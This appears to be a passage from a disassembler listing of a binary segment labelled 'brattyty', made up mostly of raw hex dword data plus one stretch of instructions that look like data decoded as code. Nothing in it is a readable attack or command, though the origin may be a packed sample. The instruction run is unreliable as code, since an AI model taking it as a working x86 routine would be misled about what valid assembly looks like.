		dd 5743Bh, 2 dup(50005h), 53530005h, 775353h, 2509FF75h
		dd 0B0000h, 406C1FFh, 3C0E0417h, 5D08FF53h, 50005h, 53530005h
		dd 0AA535353h, 0E70439E7h, 4606BEBEh, 0E7042076h, 0FFFCF6FFh
		dd 0D9FFFCC7h, 0A6DEFFDAh, 55BC39FFh, 1623FF52h, 5A21FF62h
		dd 1623FF52h, 39FFE7E7h, 21FFE706h, 0DAF7FFDAh,	0F7FF0831h
		dd 5353532Dh, 0CA535353h, 0E70439E7h, 0DA21FFBEh, 0FD7646BEh
		dd 0FCF6FFE7h, 0FFFCC7FFh, 0DEFFDAD9h, 9FF39A6h, 0CBDAFF39h
		dd 0FF52551Ah, 20621623h, 0FF32E740h, 7420A6FFh, 50005h
		dd 53535353h, 0A25AAE2h, 6A39FF28h, 31082062h, 20620D00h
		dd 0FF280A34h, 39626A39h, 0D003108h, 75043962h,	323509FFh
		dd 0FFFFCEFFh, 3104DCDAh, 0FEFFE704h, 310405C6h, 9FF7504h
		dd 0FFE70435h, 0C7FF55F4h
		dd 0DAD9FFFCh, 0A631FFBEh, 23FF5239h, 39FF6216h, 2AFF525Ah
		dd 0FF32E716h, 0DAFFA6FFh, 0F5DAFFF7h, 2DF7FF08h, 57420h
		dd 6 dup(50005h), 0FF060005h, 0E7042D8Ch, 9FF8E00h, 533C0C21h
		dd 74D508FFh, 53530005h, 0FF001F53h, 1E0049C5h,	5745084Dh
		dd 80150E04h, 0A0005BBh, 2003EC7Ah, 0DDFF0477h,	0DBFF0EA6h
		dd 0A039FF73h, 8000500h, 0E095745h, 105B1E00h, 98F0973h
		dd 9759000Eh, 0FF000005h, 0DCFF7B29h, 296BFFAEh, 552E7h
		dd 3D09FF0Eh, 0AD81040Eh, 0FF000578h, 0C5FF2509h, 0AD81049Fh
		dd 0B5BECA37h, 2E0A78h,	81047706h, 6BFF37ADh, 0E040025h
		dd 21FFB904h, 26802BA8h, 740A0005h, 50005h, 0ED0005h, 0FF2509FFh
		dd 13011CC5h, 537AD81h,	500h, 0C6FF0C64h, 4E0C3CD2h, 0C6FF42FFh
		dd 4E0C3CD2h, 0D2C6FFF6h, 506593Ch, 1C00h, 2DCEFF00h, 0FF2DCEFFh
		dd 0CEFF2DCEh, 2DCEFF2Dh
dword_3F5580	dd 5521257Fh, 35215F06h, 53E3525h, 252FD531h, 45D1252Fh
					; DATA XREF: brattyty:off_3DFE08o
; ---------------------------------------------------------------------------
		and	[ecx], esp
		stc


loc_3F5597:				; CODE XREF: brattyty:003F5598j
		das
		loope	loc_3F5597
		and	[eax], ebp
		das
		stc
		cmc
		das
		add	[edx+4], ebp
		db	3Eh, 3Eh
		sub	[ecx+esi], edi
		cmp	[ecx], esi
		and	eax, 25F5C1C1h
		cmp	eax, 0D9C9D139h
		lds	esp, ds:29212F21h
		cmc
		shl	dword ptr ds:212528F3h,	21h
		fsub	qword ptr ds:0D2D2257Eh
		cmp	[ecx], esp
		cmp	ds:25D5D139h, edi
		and	eax, 38383819h
		cmp	[esi], bh
		rcl	ecx, 1
		aad	25h
		shl	dword ptr ds:0D1242424h, 1
		frstor	byte ptr ds:3F252525h ;	(emulator call)
		icebp
		fucom	st(1)
		sub	al, 0D5h
		sub	dl, cl
		and	eax, 0D352525h
		cdq
		cmp	ds:0D5452A25h, ah
		and	ds:0BBD92521h, esp
		and	[ecx], esp
		and	[esi], edi
		and	[eax+2Dh], esp
		and	ds:0AED12121h, esp
		xor	eax, 772A2D21h
		sub	[eax], ch
		sub	ch, [edx]
		sub	ds:2F2525EFh, esp
		add	[esi+35h], ebx
		cmp	ds:3921342Dh, edi
		and	ds:4212828h, esp
		aad	0D5h
		aad	0D5h
		and	eax, 3CD12537h
		cmp	al, 3Ch
		and	eax, 0D9DDD5D5h
		and	eax, 25213D25h
		aad	0D2h
		and	eax, 2525D231h
		pop	ss
		adc	al, 3Dh
		and	[ecx], edi
		and	ds:283E2521h, esp
		rcl	ecx, 1
		sar	dword ptr [ecx], 1


loc_3F5657:				; DATA XREF: brattyty:003DFE0Co
		and	al, 2Ch
		and	ds:2C5D2D5Dh, ebp
		cmpsb
		pop	eax
		pop	edi
		sub	al, 0F2h
; ---------------------------------------------------------------------------
		dd 0A63F5DF2h, 2FF224EFh, 0D230ACD2h, 5F5FF2ACh, 2D282B14h
		dd 95F5D2Dh, 2DBB5DBBh,	0CADA5F5Fh, 0F20FBFBFh,	0F15FF2F2h
		dd 0D3A4A400h, 0B1DF5DD2h, 0B7B6B1B1h, 0F2B45DB7h, 29BAF2F2h
		dd 0D21C452Ah, 292CC32Ah, 692D6D6Dh, 0EBEB6F31h, 16162D12h
		dd 2D5F45E8h, 3E5FEA75h, 0AD2E52Ah, 0A4D20D1Ah,	5D245FD2h
		dd 2DA45FD2h
dword_3F56CC	dd 6C2C0761h, 0D222D8ACh, 7373FDCCh, 0D2A62D2Eh, 0A5D2182Ah
					; DATA XREF: brattyty:003DFE10o
		dd 0A473A6A6h, 0D260732Dh, 0D2452D2Dh, 0D2454539h, 0A6A625D2h
		db 25h
byte_3F56F5	db 50h,	2Dh, 2Eh	; DATA XREF: brattyty:003DFE14o
		dd 38388686h, 0A6A6D23Fh, 84A4A62Ch, 0F32CB086h, 2186F7D2h
		dd 0D2888822h, 30A22945h, 68D22D2Dh, 602D2D86h,	0A4D28654h
		dd 8686AEA0h, 0A4A6A429h, 0A6A68633h, 0A658A6A6h
dword_3F5730	dd 3939E4A6h, 392D3939h, 0ED683939h, 2DED502Dh,	0AE68482Ch
					; DATA XREF: brattyty:003DFE18o
		dd 682DC52Ch, 0A45868EDh, 68485048h, 2DA65848h,	2D502D2Dh
		dd 392CBDD2h, 39393939h, 2C48AE2Dh, 45C56868h, 0EDED4545h
		dd 0D2AE5821h, 4748AE48h, 0DC3268A4h, 686868EDh, 0A0A06868h
		dd 0F0F0DCD2h, 0B5C52DF0h, 0B5B5B5B5h, 0B5B52DB5h, 2DA8B5B5h
		dd 0C4689068h, 0C468C4C4h, 0A4EAC6C4h, 0F12DD4A8h, 84545C4h
		dd 2D2DC42Dh, 0FAA4A42Dh, 0EDD2DCDCh, 0AED2EED2h, 0C5C5C5C5h
		dd 0EDA0C5C5h, 45C558A0h, 0D22DA02Dh, 0D22D2D45h, 0A6C4C5A6h
		dd 0C4A6D2A6h, 0C4A0EDEDh, 0C4C5A6D2h, 0C4C645A6h, 0D2A647A6h
		dd 0C5A6C5D2h, 0D22D48A6h, 0A6D24848h, 0AEA62DA6h, 2E7B47AEh
		dd 2E2E2E2Eh, 2EDDDDC5h, 0DDDD2E2Eh, 872A6DDh, 0A6A4AE50h
		dd 6868C558h, 0A0A6A6A6h, 0A6A6A6A0h, 0A6A6A6A6h, 4646D2A6h
		dd 0C56DEDA5h, 98A860A8h, 0A42D47C5h, 0AEC5C5A4h, 55D2D22Dh
		dd 0A8A4AE48h, 0A8A81745h, 7C54A888h, 0A8EDEDEEh, 0C6A8A0AEh
		dd 0EDEDEDD2h, 0A4C59898h, 0A8A8A8C5h, 9BED98F7h, 0A82D2DEDh
		dd 0C5EDA8A7h, 2DED45EDh, 2DED98EFh, 88AE2DEDh,	60C54588h
		dd 2D4845E4h, 0EDEDEDEDh, 4555EDA0h, 476868EDh,	45C5C547h
		dd 682DD2C5h
dword_3F5888	dd 0A047C5A4h, 0C5D247A0h, 0C52DC56Ch, 45C529A4h, 4775A645h
					; DATA XREF: brattyty:003DFE1Co
		dd 0A4D2D2C5h, 6CC545A4h, 89696C6Ch, 0C5D22DC5h, 5DD2A02Eh
		dd 5DD2A0A0h, 6C6C47A0h, 0D2A4A4D2h, 0D9AC01A0h, 0D2D2A0C5h
		dd 5F5F66C5h, 0A4C5C5A0h, 0A0C5C5A0h, 45A0C545h, 6545D2A0h
		dd 0D2C5A6A0h, 5F5F45A0h, 2D2945A0h, 29C52D15h,	0C56C6FEFh
		dd 0A6D0C5A0h, 5DD2A0E9h, 0A4C5A6A6h, 0C5A0A6A4h, 0C5C5C5A0h
		dd 0A4C5C5A0h, 0C5A0C57Dh, 0C5C57DC5h, 0A0A0A0A0h, 0A0A0C5A0h
		dd 2 dup(0C5A0A0A0h), 0A6D2A65Fh, 45471FD3h, 0C5111211h
		dd 29120BA4h, 0C5D22DC5h, 5D5D5DA6h, 3 dup(5D5D5D5Dh)
		dd 5DF25D5Dh, 0A0C5D25Dh, 0D2C5C545h, 6D2DDEC5h, 0A0D245A4h
		dd 0A0F2A0F2h, 0D2353DA0h, 0A4A6D221h, 0A4A4A6A4h, 0A4D2A447h
		dd 0A6A4A4A6h, 21A036A4h, 0A447A4A4h, 0A4A4A414h, 0C5D2A0A4h
		dd 0C5D2C5C5h, 47D28AD2h, 5D5DC5A0h, 0A4D25D5Dh, 0C5A629A4h
		dd 0D3C5BD6Ch, 55A46CC5h, 0C5A4455Dh, 5DD249C5h, 0D2C5A0C5h
		dd 0C55DD2C5h, 5DD2C5A0h, 0D26CD2D2h, 5DD26C6Ch, 0D2C547D2h
		dd 5DD247D2h, 0BBC5A0C5h, 0C55DD229h, 0D25DD2D2h, 47C5C5D2h
		dd 0C55DD247h, 21C5C5A0h, 21C5D421h, 2D45D2C5h,	5FD2DBD2h
		dd 0A6C5C5D2h, 6090A6A6h, 0DDA445A4h, 0A0A4A4A4h, 0A0A0A0A0h
		dd 0A0C56C2Dh, 0BFD25DD2h, 6C47A0BFh, 41E645D2h, 0C5A49D8Dh
		dd 45A0C5C5h, 5FD2C5C5h, 0AD3547C5h, 0C5C5D2C5h, 0BEBEBFBFh
		dd 0C545C5BEh, 3A0A0A0h, 45C5A0A6h, 9595C5A4h, 0A4D3A6A4h
		dd 0C56CB5A6h, 0D2D2C591h, 0A6222222h, 2222C545h, 4545D222h
		dd 0D245A635h, 7161D2C5h, 0C545C5C5h, 0C5C52D89h, 45C5A0A0h
		dd 452D2929h, 0C5C529C5h, 0A645A0C5h, 0C5B3C5C5h, 0B3C5B336h
		dd 0A0C5C5C5h, 0C5C5D247h, 0C5A4A4C5h, 2 dup(0C5A0C5A0h)
		dd 0C545C5A0h, 0C5C5C5C5h, 0C5C5C5A0h, 0C5C5C5A6h, 0C529C5C5h
		dd 5C5C5B1h, 0C5C5C5B1h, 2929C529h, 0B6A0C519h,	0C5C5C5B6h
		dd 2929C5C5h, 29252529h, 0C5B721B7h, 0C5C54729h, 35A64721h
		dd 0C5B4B4B4h, 0B43547FDh, 0C5C529FDh, 0D2D2C5C5h, 0C5C53DC5h
		dd 0C5C5C5C5h, 0C545A4C5h, 0A4C5C5C5h, 0C545A0A0h, 2F45C5C5h
		dd 11BD45C5h, 0A0A0A455h, 0C50545D5h, 45A0A045h, 0D2C5C505h
		dd 0D2BD471Ch, 0C5C5D2C5h, 0C50DA4D2h, 0DA6C5C5h, 3D01C5A6h
		dd 0C59A7DF5h, 0AD47D2C5h, 0C545C5C5h, 4545C545h, 0C5C5A445h
		dd 5A6A6A6h, 0A4D2A005h, 0A4A6A4A4h, 0A4A4A4A6h, 0A4A4A4A4h
		dd 8585A4A4h, 2DA4A6C5h, 0A4A4D247h, 0C5C5C513h, 0C9C5C5C5h
		dd 8135C5C5h, 99F1F5CDh, 2CA6E991h, 6413A62Dh, 0A665A6C5h
		dd 0A613A6A6h, 3DC5A0A6h, 0A6252525h, 0C5A0C545h, 0D2C5A4A4h
		dd 4545D29Dh, 0C5A0EB45h, 0C5A0C5A0h, 0C5D221D2h, 0C52DD2D2h
		dd 0C5C5D2D2h, 0C5C57462h, 0C5D247D2h, 47A047A4h, 0ADAD6D6Dh
		dd 47C56747h, 2DC5D2A0h, 0C5D2A047h, 0C5477DA6h, 0AC49A4E8h
		dd 0C5A4A4C5h, 0C5C5C5C5h, 0D2C5C5A0h, 0C5D2F1D2h, 2DC57DA6h
		dd 0A4C5C5C5h, 2E2DC5A4h, 47A4D2C5h, 0C5C5D2D2h, 0A4D245A6h
		dd 45D22FA5h, 0C5156D45h, 0C5A0C5D2h, 0C5C5D2C5h, 0C5C5A4C5h
		dd 0C5C5C5A0h, 0A0A0C5C5h, 9521D2C5h, 0A6A045A0h, 0A0A0C5A0h
		dd 0A4C5A0C5h, 0C545A033h, 0C745A05Fh, 0A4C5C545h, 0D2C5C5C5h
		dd 0C5D20161h, 0D2C5A0C5h, 0A0C5C5C5h, 45A0C545h, 22C545A0h
		dd 0C522A6A0h, 5FC545D2h, 0C59DC745h, 45957DC5h, 45453345h
		dd 0D2C5A045h, 33C5A4C5h, 15F2D2C5h, 1147D247h,	47472147h
		dd 0A0214779h, 6947A0D2h, 0A0A4D2A4h, 0D291E5D2h, 0A0C5A4D2h
		dd 0A4A449D2h, 7979D27Dh, 0A4D279D2h, 39D2A0C5h, 0D2A0D925h
		dd 0D2A0C5A4h, 0C5A4D2B1h, 0C56DD2A0h, 0D98AF2C5h, 0A4D7D2C5h
		dd 0D2455FC5h, 0A4CBC5C5h, 453D212Dh, 44C5A0C5h, 0C545456Ch
		db 0C5h, 51h, 5Ch
byte_3F5C9F	db 2Ch			; DATA XREF: brattyty:003DFE20o
		dd 4ED2C2Fh, 4E0202D2h,	34DF3019h, 6D3B0473h, 0F0BB2E86h
		dd 7B7B7B6Dh, 0A6A6217Bh, 0D2092D2Dh, 283D3ED2h, 20292E47h
		dd 7B7B7BA1h, 2D7B7B7Bh, 0ED682D2Dh, 2C2D2D77h,	0EDED2A34h
		dd 3B31AEEDh, 0E4ED45D1h, 0EDEDE4E4h, 0EDEDEDEDh, 0D26027EDh
		db 75h,	48h, 0D2h
byte_3F5CF3	db 1Fh			; DATA XREF: brattyty:003DFE24o
		dd 0D22D672Fh, 2A32D22Bh, 6C6C6C2Ch, 27276C6Ch,	2C2C2C29h
		dd 3D2C2C2Eh, 1F6C2727h, 370D6C6Ch, 2C2C6C6Ch, 572D6D6Ch
		dd 0D26C2D57h, 272C2A27h, 0D22B32A6h, 6C354DD2h, 282857FAh
		dd 2DD22D28h, 29292D2Ch, 292C3D2Dh, 57142C70h, 126DA457h
		dd 2D2D2C2Dh, 6D2813BDh, 2C2D2D2Fh, 612F552Dh, 6C3D2D2Dh
		dd 0D22DD22Ch, 1727D26Ch, 2D0912D0h, 2C2C2C3Ah,	28282D2Ch
		dd 2FD26C6Ch
dword_3F5D70	dd 0D274C5A6h, 74D244A0h, 74A0582Ch, 0D0C545A6h, 0D0A4D0C5h
					; DATA XREF: brattyty:003DFE28o
		dd 0C5A62CA0h, 0D0612CA6h, 0C545D045h, 73C5D2D0h, 7E2C2CAEh
		dd 0A6A6C5A6h, 0A62CC57Fh, 0C5A0452Ch, 0C5C5D2C5h, 0C5D2EA74h
		dd 0C4C5D2C5h, 2DC5A6A4h, 0D2A67460h, 0A0C574C5h, 7C66C5A6h
		dd 0D2C5D145h, 0A074A4A0h, 74C5D274h, 0D2C5C5A4h, 6BC57CC5h
		dd 0C5C5A4A4h, 0A6C5A42Fh, 0D2C569C5h, 74C5C5D2h, 7D27445h
		dd 0D2D2D2C4h, 0EEA6D2C5h, 0A0A6EEA6h, 0C5A01E74h, 0C5C5C587h
		dd 0A8C5C5A4h, 74C5A8C5h, 10C5C574h, 0C574C574h, 0A41EC574h
		dd 74A074C5h, 0A074C5C5h, 0A0A0D274h, 0A0A0A0D2h, 0D0C57CA0h
		dd 1245D747h, 0E4C5C5A6h, 0A6C5AEA4h, 2DA65DACh, 0A47D1818h
		dd 0D2A4A4C5h, 952C91EDh, 0C5C5D62Ch, 0D2C5C5D2h, 5DD274A6h
		dd 0A4C5C5A5h, 0BBC5A6C3h, 74C5AE01h, 0A0C5C5A0h, 6D7474A0h
		dd 0C5AEC3A0h, 0ECA6A62Dh, 47C6A6ECh, 0EEC6C6C6h, 0A6C6A4A6h
		dd 45C6A4C5h, 0A62247C5h, 45A6A8C5h, 0A6A6A645h, 0D2A6C5D2h
		dd 0A647A6C5h, 0A409A674h, 1EA009C5h, 0ACE1C5C5h, 0C5A6A61Eh
		dd 0D2D2A647h, 0A6A6D2D2h, 0D5A6A6A6h, 0A6A647D5h, 0A674A6A6h
		dd 0A6A6D247h, 47A6A6D2h, 4738A647h, 6DC1D274h,	22451045h
		dd 45452245h, 4545C5A6h, 0C5454545h, 47474522h,	0C5A64747h
		dd 47474747h, 45844545h, 22454545h, 453DC545h, 22452245h
		dd 0C5A62245h, 47474745h, 47C5A647h, 0A6474747h, 742345C5h
		dd 0D25FD274h, 0A6A66DC1h, 0C5C4A445h, 1EC6C4A4h, 73A425D2h
		dd 0A6D3C5A6h, 0A6C5A4D3h, 2DA6A4A4h, 0A459A6A4h, 0D27410C5h
		dd 0D2C5D2A4h, 74C5A6C4h, 0C5A6C5C5h, 45C5742Dh, 45C5A6C5h
		dd 0A647C5C5h, 0BBA6D2C5h, 0C5A6D2D0h, 0A0A0C5D1h, 0C547C547h
		dd 5DA87DD0h, 0A0D25D7Dh, 0A074A0C5h, 0A8C5C5D3h, 0C51ED247h
		dd 1ED247D2h, 47D2D247h, 0D247D2D2h, 0C5A41ED2h, 0DEA6742Dh
		dd 0C5C5C5D2h, 47A6A6D2h, 47D93DDCh, 0A6A6A647h, 0A670A6A6h
		dd 0A4A6A6A8h, 0A6747474h, 0A0C1A27Dh, 457DD2A0h, 0A6A0A07Dh
		dd 0A6A0A0A0h, 0D1A6EE76h, 0D2D57AA6h, 0BF58BFD2h, 0A0AE45BFh
		dd 0C5D2A0C5h, 74E473C5h, 0AEA8A0A6h, 0DAA4D2A6h, 0A851C5A6h
		dd 0C5A6D2C5h, 0A0C5DAA6h, 0C545A0DAh, 0D2AEA674h, 0A0D29345h
		dd 0C5C5D2A0h, 0D245D245h, 45D245C5h, 74E073C5h, 0C1D2A6B9h
		dd 0A6C5C1D2h, 0AEC5C1D2h, 0ACA6767Ah, 2D761EA4h, 22A647C5h
		dd 2CC5C5D2h, 0FDC5C522h, 0D2C5B9C5h, 74EEC5D3h, 0A670A670h
		dd 2DC5A6E3h, 0E1A6D25Dh, 0C5D0C5D0h, 0D2A0A6E4h, 0A69DA41Fh
		dd 0C61EC522h, 0A674C5A6h, 0C5A67474h, 47C6A674h, 0D36EA6D2h
		dd 0D2C5D2C5h, 0D2C5C5C5h, 0C5C5C5C5h, 0A6C593C5h, 9374C545h
		dd 2D2D2DC5h, 2DD22D2Dh, 0D341EBC5h, 74A02DC5h,	0C5C5C4D2h
		dd 0D3C545C5h, 0C49FC5C5h, 0C6C4D3D3h, 4545C5D3h, 0D2D2C526h
		dd 0C5A6C5D2h, 0C5D2A6D3h, 0A07DC5C5h, 0C5C57D7Dh, 45B1B13Ch
		dd 0C4EFC5D3h, 45A6E4C4h, 0C54545C5h, 0D3D3D38Dh, 2 dup(0A8C5C5C5h)
		dd 0C5C58FC5h, 0C5968FC5h, 0C5C5C5C5h, 0C58CC5B2h, 0C5A4A6C5h
		dd 74A6A674h, 4574B674h, 0D247A0C5h, 0B545A047h, 0E445C5C5h
		dd 74D1EAA6h, 0C5C5C5A6h, 0C5A6C5D2h, 45C5BBC5h, 0C58D45C5h
		dd 0C545C545h, 0C5C5C5B8h, 0D2A0C5B9h, 0A647C5C5h, 20A647A6h
		dd 0D4C5A78Ch, 0D27D477Dh, 45A047D2h, 458DA0C5h, 74C5C545h
		dd 45BDC445h, 22C5A6B6h, 0A62BC445h, 0C5A4C5C5h, 0A88C45C5h
		dd 0A6A83569h, 0A8DA22A0h, 0A0A6A0A6h, 0A6C5D2A0h, 0C5C5A4C5h
		dd 0A0D2C5D2h, 0A6C6A0A0h, 0A6A6A6A6h, 0A6E47328h, 81A67073h
		dd 0DADAA6E4h, 0DADAA6D2h, 0A6A6A6D2h, 1FC2D2A6h, 0A6C5D254h
		dd 62DA6C5h, 477D47D2h,	48680BA4h, 76AEA6DAh, 70734AA6h
		dd 0EEA670A6h, 73A670A6h, 45A6A670h, 0A6E48174h, 0A6DAA6DAh
		dd 0C547A674h, 0C5C5C5C5h, 0C547C5C5h, 0C5C5A44Fh, 0C5C5C5C5h
		dd 0C5A6C54Ch, 74C5C585h, 2DC52FA6h, 0C5C5A62Dh, 0C52DC52Dh
		dd 0A6C5C570h, 0C5C52DC5h, 1EA6A629h, 6CA6E4D2h, 74C52DC5h
		dd 0C5C5A8D2h, 0D275C52Dh, 0C52DC56Ch, 2DC56CD2h, 0EBD2A0C5h
		dd 0D2C52DC5h, 0C52DC56Ch, 0C5C56CD2h, 2DC5D2A0h, 0A06CD2C5h
		dd 45A0A0A0h, 45222222h, 452DC5A7h, 0C52DC52Dh,	2D2DD22Dh
		dd 0C5C52D2Dh, 0C5C5D22Dh, 2D2D2DD2h, 0D2C5C52Dh, 2DC5E845h
		dd 0C5C5D2C5h, 74DAD2A0h, 0C52DC5E8h, 2DC596D2h, 2DC5D2C5h
		dd 0E4D22DC5h, 2DC56C45h, 0A02DC5EBh, 6C45C545h, 6C454DC5h
		dd 747EA6C5h, 95C51E57h, 74C51E74h, 0C5D31ED2h,	0C51ED2D3h
		dd 5FD247A6h, 0A8A85F67h, 0DF5FD25Fh, 74E41E5Fh, 0A6C6C6D2h
		dd 0A6C5A6ACh, 0D2C6A674h, 0C668C5A6h, 6CA674A6h, 0A6C6C5A6h
		dd 0A6A0A6C5h, 0A874D247h, 0D21EA6A6h, 0C51EA8A4h, 0C600748Bh
		dd 0D274741Eh, 6C7402C5h, 6C6CA6D2h, 6CA66C6Ch,	0A4C56CA8h
		dd 0C4E3A06Ch, 45E3C4C4h, 116C6C6Ch, 0C6C6C6C6h, 741AA8A6h
		dd 0A0C5A0C5h, 0C6C5A0AEh, 0C51E1EA8h, 0A8C5C574h, 74D274D2h
		dd 0C5C56CA0h, 0D2E7E4D2h, 0A6D2E2C5h, 0AE6CD1C5h, 6CD2D268h
		dd 0D2C5D1C5h, 0C5C578C5h, 0D2A0C5FDh, 22A0A66Dh, 0C5C5C5C5h
		dd 7EA4A674h, 0A8A0C51Eh, 0C5FCA0A4h, 0C52CD2A2h, 45A6A6D2h
		dd 0A6D2A6A6h, 0C6C5A6D2h, 0D2C6A4D2h, 0DC5C5A6h, 0FEA4A4A4h
		dd 0A0D174C5h, 0D1A0A0A0h, 451EC5D0h, 25D225D2h, 476821C5h
		dd 0D2D2D2A0h, 0C5D2C5D2h, 0C5A0C53Bh, 0C5D2C5A0h, 0C5C539C5h
		dd 0C5C5C5A0h, 0C5C5D2C5h, 0C5C5C5A8h, 0D2C5A63Fh, 0C5A0C5C5h
		dd 0C5C5C5A0h, 0C5E4AE11h, 0C5C5C5A6h, 0C51E4545h, 0A66C1E5Ah
		dd 0C6C631A6h, 0A6EEC6C6h, 0D2C5D2D2h, 0C5C55F47h, 74C5C5A0h
		dd 0D2A6C5C5h, 2D2DC5C5h, 0C5C5C52Dh, 0A0D238C5h, 0C5C5D2A6h
		dd 45C5C545h, 6CD2C5C5h, 0A6A6C6A6h, 0DAD2A6EEh, 95A6A6EEh
		dd 0C54747C5h, 0C4747445h, 0E1E176C5h, 0D210E1E1h, 0E1E1E1E1h
		dd 9A6A6E1h, 0E1E1E109h, 0A67EE1E1h, 0E1E10909h, 1E7BE1E1h
		dd 9090909h, 0E1D24909h, 21A6E1E1h, 0A67373A6h,	0A67329D2h
		dd 2DAE5E73h, 0DD2D772Dh, 2DC9CDD0h, 0D0C5C1D9h, 0C4B5D2B1h
		dd 8DA42D45h, 0D9D5D52Dh, 2DC6D52Dh, 6179ED7Bh,	7D652D2Dh
		dd 19212D2Dh, 25117D2Dh, 6D2D356Dh, 5D6D2D35h, 9657409h
		dd 965A609h, 9650D0Dh, 69C40D0Dh, 2D7D3175h, 21312D7Dh
		dd 7D1DD279h, 90ADED2Dh, 2DEFC4A8h, 0B9EA2D2Ch,	2DA62D45h
		dd 2D2D2D5Dh, 452D202Dh, 2D382D2Dh, 0C5D2B1B5h,	0D2D2F5B9h
		dd 0F52D7DD2h, 0D2478DB5h, 0ACD12D2Dh, 0D2FD2DD1h, 5D2DD22Dh
		dd 0F9D2F9D2h, 0D2D0AED2h, 0EFDDD1A0h, 0EE75472Dh, 2D6DD225h
		dd 312D6045h, 0D5646455h, 2D0D682Dh, 3DA8D035h,	2DA0D0D1h
		dd 390DA62Dh, 352DA82Dh, 25A49439h, 2D352D29h, 0D2D1352Dh
		dd 0D68D2D1h, 0EFC6D02Dh, 6C2D2D27h, 3D25252Dh,	25A62D67h
		dd 2D643D25h, 6D3535C6h, 2D29D1D1h, 2D642D39h, 3DD22DD5h
		dd 0C59CD2C1h, 3D0D2DD2h, 0DDA02C31h, 0A63DED98h, 0DD2C2C31h
		dd 0C5C5C1DDh, 0C6C63DD2h, 0AC2DAEE4h, 2D2D2DD2h, 2D212D2Dh
		dd 45EE2DD2h, 0D22DD2C1h, 0CD00D229h, 0DDD2D6D6h, 0D6DDD92Dh
		dd 2DD2AE58h, 0C52D2DD2h, 0D27CDDD2h, 2DC9C9A6h, 0D6CDD2D2h
		dd 0CDD22DD6h, 4D22DC9h, 6CD1A098h, 2DC9CD2Dh, 0EDC42DD2h
		dd 0E92D7AEDh, 0E52D2DD2h, 6DD209D2h, 69D22D2Dh, 0E9D209D2h
		dd 0D2E26CD2h, 0E9C6D2E9h, 2DD2D2D2h, 0D26DD26Dh, 0D20DD26Dh
		dd 0D20DD20Dh, 0D20DD26Dh, 6D2DD20Dh, 6DD20DD2h, 0D20DD2D2h
		dd 2 dup(0D20DD26Dh), 0D2E52D13h
		dd 2D6C2D2Dh, 106CD2E5h, 0E5D2692Dh, 2D6C2DD2h,	0D2E9D2E5h
		dd 6D2DD2D2h, 6DD26DD2h, 2DD26DD2h, 0D2D2D231h,	0D2E5D251h
		dd 2DA9C42Dh, 2D2DD455h, 58D2052Dh, 0E1D21175h,	2DD201D1h
		dd 0DB51D269h, 0E1D21175h, 2DD201D1h, 0D451D269h, 0D1E1D211h
		dd 0D22DD201h, 0D2392D74h, 0D23DD23Dh, 0D225D211h, 52DD229h
		dd 0D2E9DAD2h, 0E17047EDh, 9A0D2E9h, 0C4D2E9D2h, 2D2D2DAEh
		dd 47076CD1h, 0AC902D45h, 49A989EAh, 0C139096Dh, 2D3DEE75h
		dd 72DA42Dh, 2D2DCD6Dh,	2D2D2D2Dh, 0D929EFA6h, 29EDD9D9h
		dd 0D90ADDEDh, 120ADDD9h, 0AD90AD2h, 0AD5D6D5h,	0C4D12DD6h
		dd 0C52D2D2Dh, 61792D7Dh, 7D657D79h, 0F52D452Dh, 2DD2D2D2h
		dd 0D22DD23Dh, 0F109D2F1h, 2D2D2DD2h, 2DEF2D2Dh, 0D1A4EA2Dh
		dd 0EEA4A4A4h, 3D256821h, 2D00D235h, 482D2D45h,	0EED22D68h
		dd 2D2D23D5h, 0EDD24747h, 2D95A0C1h, 0A7C5EAD2h, 0C52DEAD2h
		dd 51EAD1AEh, 472D2F51h, 51EAEE75h, 472D2F51h, 55EAEE75h
		dd 2C51A055h, 55EAEE75h, 2C51A055h, 0D5A0EE75h,	0D9D9D9D6h
		dd 0D2C62DD9h, 2D2DEAA8h, 0CDA62D2Dh, 0A6D27DEDh, 683DA62Dh
		dd 0A62D6810h, 7BEE752Dh, 49495959h, 0ED494949h, 4D595951h
		dd 2C414D4Dh, 2D59592Dh, 757575EDh, 0ED757575h,	0A6D15951h
		dd 21A64525h, 2DD12258h, 0A62D68EEh, 0A6A5C1A6h, 0D125EEEAh
		dd 2D475829h, 0EAEAED2Fh, 0D247A82Dh, 2F2DE1A6h, 2DEAEAEDh
		dd 0E547E9A8h, 0E9EDF5EDh, 0F5F5EDC6h, 9191A6EDh, 0F5E991F5h
		dd 0A6919191h, 5922F5F5h, 3DD258D2h, 0D2C55858h, 0C1D1C1C1h
		dd 2DD1C1A6h, 0C5EDD1D2h, 0C5A6D5C5h, 0D1C2ACD5h, 0DDEDD5D5h
		dd 0D1A0D2D5h, 0C5EE1E75h, 2DD2A52Dh, 2CD2D2EDh, 0D2E92DD2h
		dd 0D2E9A6D2h, 3CD2E9A6h, 0C1D2D2E9h, 0D2E5D2E5h, 0D285AC54h
		dd 2D2D2259h, 0E52DE52Dh, 472C2D2Dh, 45474747h,	2CE52D3Ch
		dd 45474747h, 0D22D7C2Ch, 522D2D2h, 0E52D3D2Dh,	0A2E52D2Dh
		dd 47474747h, 2DE52D45h, 47474747h, 0E52D2345h,	0D2812D2Dh
		dd 9DD29DA6h, 81D29DD2h, 0D2A0D2D2h, 0D281A6C6h, 0A1D28BCEh
		dd 2D5D98D2h, 2D2D2DAEh, 2D33EAA4h, 0EEAEA7CEh,	5E282D7Bh
		dd 2DC52F2Dh, 2C2D2D19h, 2C86D22Dh, 2D2D2D2Dh, 0A62D2D2Dh
		dd 452D3D2Dh, 58EEC4C6h, 217D7945h, 7D252D7Dh, 2D7D292Dh
		dd 2DEFC475h, 2D2D2D21h, 0A62D5D2Dh, 222220A6h,	0D22D50A6h
		dd 0D1D2D2D2h, 0A62DA6C6h, 0C5AEC62Dh, 2DC5C5C5h, 2CDDDDDDh
		dd 2DC62D2Dh, 0C52D472Dh, 2CD2C12Dh, 0CD2DD259h, 0C9C1C9C9h
		dd 0D6D6CDD6h, 2D2D2C45h, 0D5D9A0D9h, 0D3A047D3h, 0D92D452Dh
		dd 1E75D3D5h, 0C94545EEh, 0D3D3D3D3h, 0D3D5D347h, 47452547h
		dd 0D0C5C5D2h, 0D2CDAECDh, 0D2CDD2CDh, 0D2CDEDC9h, 0D2D0D2D0h
		dd 0D0C5D2CDh, 2CD2CDD2h, 0C5C5F1C5h, 0C547D1F1h, 2DAED5D3h
		dd 0D2D5D2D3h, 0D1D2D32Dh, 2 dup(0D2D5D2D5h), 0D2D3D2D3h
		dd 0D4A18DD9h, 152DC58Dh, 291D2D01h, 0ED15392Ch, 0D1DD20Dh
